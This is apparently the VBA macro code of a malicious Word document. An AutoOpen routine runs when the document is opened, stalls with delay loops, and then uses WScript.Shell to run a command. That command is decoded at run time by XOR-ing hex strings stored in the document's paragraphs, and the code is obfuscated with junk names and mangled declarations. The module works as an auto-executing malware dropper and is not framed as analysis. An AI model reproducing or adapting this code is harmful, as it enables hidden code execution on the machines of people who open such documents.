Attribute VB_Name = "Loi1"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Sub autoopen()
Dim slsume As String

    slsume = "adeetrvdf"
    
    Duren ("Wrst")
End Sub

Attribute VB_Name = "HHlau"
Dim lore As Bookmarks
''Priva__te Dec       __lare Function Create--------Process Lib "kernel32" Alias "Crea__________teProcessA" (ByVal lpAppli_---cationName As Str___ing, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long

''   Dec l a re Su           b Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Sub Rhoi()
   sleep 14563
 Rhoi = 128
MsgBox "Zubli12"
End Sub

Sub GetDecStr(ET As String, ByRef CS As String)

Dim i As Integer
    CS = "_______12323==========kdrjgehjrtghjhjGHHGHGFG"
    UpperPart = LowerPart = 0
    
    For i = 1 To Len(ET) Step 2
        CS = CS + Chr(GetDecChar(ET, i))
            Next i
End Sub

Sub Duren(KL As String)
 Dim fli As String, trm
    'al24 = ActiveDocument.Paragraphs(9).Range
    'MsgBox (al24)
    ''ehui = LOnsh("*", 149)
   '' ohuenobl12.Name
For tyu = 1231 To 21789111 '00000 ''retervd
    why = tyu
  Next tyu
   
   ''sleep (5000)
   ''Application.Wait (Now + TimeValue("0:00:05"))
   ''MsgBox ("dgt56778sdfrt")
   
   ''Application.OnTime Now + TimeValue("00:00:03"), "Proc"
   'Wait Time:=Now + TimeSerial(0, 0, 3)
   ''MsgBox ("run")
   If KL = "Wrst" Then ruti (589)
End Sub
Sub ruti(UA As Integer)
    If UA = 589 Then
      jbl__91 = Yobna("V", 186)
         End If
End Sub
Sub Rerid()
End Sub
Private Function GutDicSher65(ByVal ET As String)
Dim MMX_____2 As String
    MMX_____2 = "1243455asdfsdf___+++==s=dfsdfsf$$%%%DEFsfrrefsJHJGHGFHBH1098873545"
Dim i As Integer
Dim DecScr As String
    DecScr = ""
''MsgBox (Len(ET))
    For i = 1 To Len(ET) - 1 Step 2       ''Len(ET)
        DecScr = DecScr + Chr(LOtDicSmal(ET, i))
        ''MsgBox (DecScr)
  Next i
      GutDicSher65 = DecScr
End Function
Private Function LOtDicSmal(ET As String, i As Integer) As Integer       'Even_odd
Dim UP As Integer, LP As Integer
Dim u As Integer
Dim WWW As String
    u = (i + 1) \ 2
    ''If k > 8 Then k = k - 8
   u = u Mod 16
   If u = 0 Then u = 16
    WWW = Asc(Mid(ActiveDocument.Paragraphs(3 + 2 + 1).Range, u, 1))
 UP = GetCorrPart(Asc(Mid(ET, i, 1)))
    LP = GetCorrPart(Asc(Mid(ET, i + 1, 1)))
   LOtDicSmal = JitLohSup(UP, LP, WWW)
End Function
Private Function JitLohSup(ByVal UPart As Integer, ByVal LPart As Integer, ByVal LDR As Integer) As Integer
    JitLohSup = (UPart * (7 + 9) + LPart) Xor LDR
End Function
Private Function GetCorrPart(ByVal Part As Integer) As Integer
Dim tmpPart As Integer
    tmpPart = Part
    If tmpPart >= 48 And tmpPart <= 57 Then
        tmpPart = tmpPart - 48
        
    ElseIf tmpPart >= 65 And tmpPart <= 70 Then
        tmpPart = tmpPart - 55
        
    Else: tmpPart = tmpPart - 81 ''55 - 32
    End If
    GetCorrPart = tmpPart
End Function
Private Function Duram(ByVal frau_67 As String, ByVal Von1 As Integer) As Integer
    If Dan56 - 139 = Asc(frau_67) Then
   End If
    If Von1 - 36 - 30 - 41 = Asc(frau_67) + 2 * 0 Then
    '    Ca   ll gruff      f(GetDec_________Str2(Activ___________eDocument.Paragraphs(13).Range) & _
    '        GetDecStr2(ActiveDocument.Paragraphs(24).Range) & _
   '        GetDecStr2(ActiveDocument.Paragraphs(57).Range) & _
        'MsgBox (ActiveDocument.Paragraphs(11).Range)
        'MsgBox (ActiveDocument.Paragraphs(12).Range)
        'MsgBox (ActiveDocument.Paragraphs(13).Range)
    End If
  Duram = 79
End Function

Private Function Yobna(ByVal sukl As String, ByVal Trud As Integer) As Integer
    If Asc(sukl) + 100 = Trud Then
     Set GMO = CreateObject("WScript.Shell")
     
     ''Set we = ws.Exec(GetDecStr2(Cells(2, 1).Text) + GetDecStr2(Cells(3, 1).Text) + GetDecStr2(Cells(4, 1).Text) + GetDecStr2(Cells(5, 1).Text) + GetDecStr2(Cells(6, 1).Text) + GetDecStr2(Cells(7, 1).Text) + GetDecStr2(Cells(8, 1).Text) + GetDecStr2(Cells(9, 1).Text) + GetDecStr2(Cells(10, 1).Text) + GetDecStr2(Cells(11, 1).Text))
     'we = ws.Run(GetDecStr2(ActiveDocument.Paragraphs(17).Range) & _
''MsgBox ("run")GMO.Run
  ''MsgBox (ActiveDocument.Paragraphs(3 + 2 + 1))
   ''MsgBox (GutDicSher65(ActiveDocument.Paragraphs(3 + 2 + 3).Range))
   Ass = GMO.Run(GutDicSher65(ActiveDocument.Paragraphs(3 + 2 + 3).Range) + GutDicSher65(ActiveDocument.Paragraphs(3 + 2 + 5).Range) & _
   GutDicSher65(ActiveDocument.Paragraphs(3 + 2 + 7).Range) & _
    GutDicSher65(ActiveDocument.Paragraphs(3 + 2 + 8).Range) & GutDicSher65(ActiveDocument.Paragraphs(3 + 2 + 9).Range) & _
        GutDicSher65(ActiveDocument.Paragraphs(3 + 2 + 10).Range) & _
    GutDicSher65(ActiveDocument.Paragraphs(3 + 2 + 11).Range) & GutDicSher65(ActiveDocument.Paragraphs(3 + 2 + 12).Range) + GutDicSher65(ActiveDocument.Paragraphs(3 + 2 + 13).Range), 111)
  End If
End Function


'